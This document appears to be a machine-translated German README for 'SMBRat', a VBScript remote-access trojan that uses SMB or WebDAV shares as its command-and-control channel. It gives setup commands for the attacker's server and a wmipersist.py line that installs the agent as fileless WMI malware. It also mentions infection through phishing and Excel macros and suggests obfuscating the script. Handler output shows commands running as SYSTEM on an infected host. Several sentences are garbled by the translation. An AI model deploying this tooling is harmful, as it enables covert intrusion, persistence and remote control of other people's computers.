Ein Windows-Remoteverwaltungstool in Visual Basic Script
Windows-Umgebungen wie Active Directory- Netzwerke werden durch den SMB- Verkehr stark überlastet.
Alle Hosts erhalten Richtlinien vom SYSVOL , Konfigurationen benötigen Remote-Dateien, um zu funktionieren, Desktop-Verknüpfungen verweisen in der Regel auf \somethingelseinthenetwork.exe
.
Keiner würde einen weiteren Verbindungsversuch bemerken. Rechts?
- Vor allem, wenn es gelingt (es ist eine Mode, nur Firewall- Denies zu überwachen)
Der agent
ist ein Visual Basic-Skript , das auf dem infizierten Host ausgeführt wird und eine Verbindung zum SMB-Server herstellt. Darin wird ein Verzeichnis erstellt, das nach dem hostname
und der primären MAC
-Adresse des Hosts benannt ist (wobei versucht wird, für Berichtszwecke eindeutig und gleichzeitig informativ zu sein). Alle Befehle und Informationen für den infizierten Host werden in diesem Verzeichnis gespeichert. Wenn Sie den gesamten freigegebenen Ordner zip
, werden alle Projektinformationen archiviert!
Zum Mounten der Freigabe wird KEIN Laufwerksbuchstabe verwendet, sondern lediglich UNC paths
zum direkten Lesen von Remote-Dateien (in explorer.exe
wird kein Laufwerk erstellt).
Außerdem wird der UNC path
in die Variable %PATH%
seiner eigenen Ausführungsumgebung eingefügt (Sie können ausführbare Dateien direkt vom Dateisystem Ihres Linux-Computers ausführen).
Der agent
ist für die einmalige Ausführung konfiguriert. Staatenlos .
Die Routine sieht (mehr oder weniger) wie folgt aus:
exec.dat
in dem Ordner, den es in der SMB-Freigabe erstellt hatcmd.exe /c <command>
wie eine semi-interaktive Shell aus.output.dat
(neben exec.dat
) gespeichert.exec.dat
. Der handler
benötigt einen SMB-Server, um zu funktionieren. Das Modul smbserver.py
aus dem impacket
Paket von Core Security reicht aus.
Höchstwahrscheinlich würde auch smbd
ausreichen, wurde aber noch nicht getestet.
Es ist eine Freigabe mit dem Namen D$
erforderlich, damit sie wie der SMB eines echten Windows-Hosts aussieht.
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[ * ] Config file parsed
[ * ] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[ * ] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[ * ] Config file parsed
[ * ] Config file parsed
[ * ] Config file parsed
Da der agent
so konfiguriert ist, dass er nur UNC-Pfade verwendet, kann WebDAV auch ohne Änderungen verwendet werden. Anstelle eines SMB-Servers kann auch ein WebDAV-Server verwendet werden (ein toller WebDAV-Server mit SSL-Unterstützung ist wsgidav).
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController ()
[...] INFO : Registered DAV providers by route:
[...] INFO : - ' /:dir_browser ' : FilesystemProvider for path ' /root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs ' (Read-Only) (anonymous)
[...] INFO : - ' / ' : FilesystemProvider for path ' /tmp/DAV ' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share ' /:dir_browser ' will allow anonymous read access.
[...] WARNING : Share ' / ' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] " PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat " length=0, depth=0, elap=0.004sec - > 207 Multi-Status
Für die SSL-Unterstützung müssen die UNC-Pfade leicht geändert werden, von:
\<Server-IP>DIR
Zu:
\<Server-IP>@SSL@443DIR
Diese Änderung kann nur an der Variable ServerName
agent.vbs
vorgenommen werden, da alle Pfade dadurch erstellt werden. Beachten Sie, dass das System, auf dem der agent
ausgeführt wird, den SSL-Zertifikaten vertrauen muss. Selbstsignierte Zertifikate schlagen mit Warnungen fehl .
Am Anfang der Datei agent.vbs
kann eine While-Schleife mit einer Verzögerungsanweisung von mehreren Sekunden (idealerweise 10 Sekunden) hinzugefügt werden, und sie kann Windows-Hosts durch Doppelklicken / Phishing / Excel-Makros /usw. infizieren.
Eine while True
-Schleife in VBS mit einer Verzögerung von 1 Sekunde sieht so aus:
Do While True
[ ... ]
WScript.Sleep 1000
Loop
Wenn auf einem Windows-Host jedoch RPC aktiviert ist, ist es möglich, die VBS- Datei als dateilose Malware über WMI
und die fantastischen impacket
Paketbeispiele mit einem Befehl wie dem folgenden zu installieren:
$ examples/wmipersist.py ' <username>:<password>@<hostname/ipaddress> ' install -vbs agent.vbs -name smbrat -timer 10
Es ist auch möglich, das WMI
Tool über lokalen Zugriff zu nutzen, um die agent.vbs
als dateilose Malware zu installieren.
Visual Basic-Skripte können gut verschleiert , base64 -basiert und minimiert werden.
Es kann sehr praktisch sein, es vor der „Bereitstellung“ auszuprobieren.
Zum Zeitpunkt des Schreibens ist keine Die Verwendung kann also erfolgen, indem einfach ein Befehl wie Handler
-Shell implementiert.watch
verwendet wird, um die Datei output.dat
zu überprüfen:
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/output.dat
und echo
um Dinge in die Datei exec.dat
zu schreiben:
$ echo ' whoami /all ' > Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/exec.dat
handler.py
Die experimentelle Shell funktioniert wie folgt:
$ python handler.py Share/
SMBRat >
# When a new host gets infected:
[+] Agent " DESKTOP-EG4OE7J " (00:0C:29:2B:9F:AF) just checked-in for Project: " projectName "
SMBRat > execall whoami /user
[ > ] Sending ' whoami /user ' to " projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF " ...
SMBRat >
[ < ] Response from ' projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ' :
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority s ystem S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat >
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
. & Mi~.6P.. > .......[.SMB........................
.@............ . ; ........... .net localgroup " administrators "
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
. ' *P....b.......SMB2......................
.F..z.....(...........z.D.........}...........p.r.o.j.e.c.t.N.a.m.e..D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F..o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$....... ' ..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
Der Datenverkehr ( Dateiinhalte und Pfade ) wird im Klartext übertragen, wenn ein SMBv1-Server verwendet wird (z. B. smbserver.py
von impacket
).
Alle Agenten können in der gesamten Freigabe gespeicherte Dateien ändern. Das heißt, sie können die exec.dat
anderer Agenten ändern ... Eine smbmap
bringt Licht ins Dunkel:
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 D $ S VNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 I PC$ S VNRmxBFAO, plreae remove manually
-u
und -p
von smbmap
.Dies ist eine NULL-Sitzung (wie eine anonyme FTP-Anmeldung). JEDER kann die SHARE-Dateien ändern und Remotecodeausführung auf allen infizierten Computern erhalten.
iptables
... Geben Sie execall netsh
ein und Sie haben alle Ihre Agenten verloren. Keine wird antworten, da agent.vbs
die netsh.exe
Shell erzeugt und darauf wartet, dass sie beendet wird, damit sie ihren Inhalt in output.dat
schreiben kann. Aber raten Sie mal ... Es wird nicht enden ... Es wird hängen bleiben, während das netsh>
ins Leere zeigt.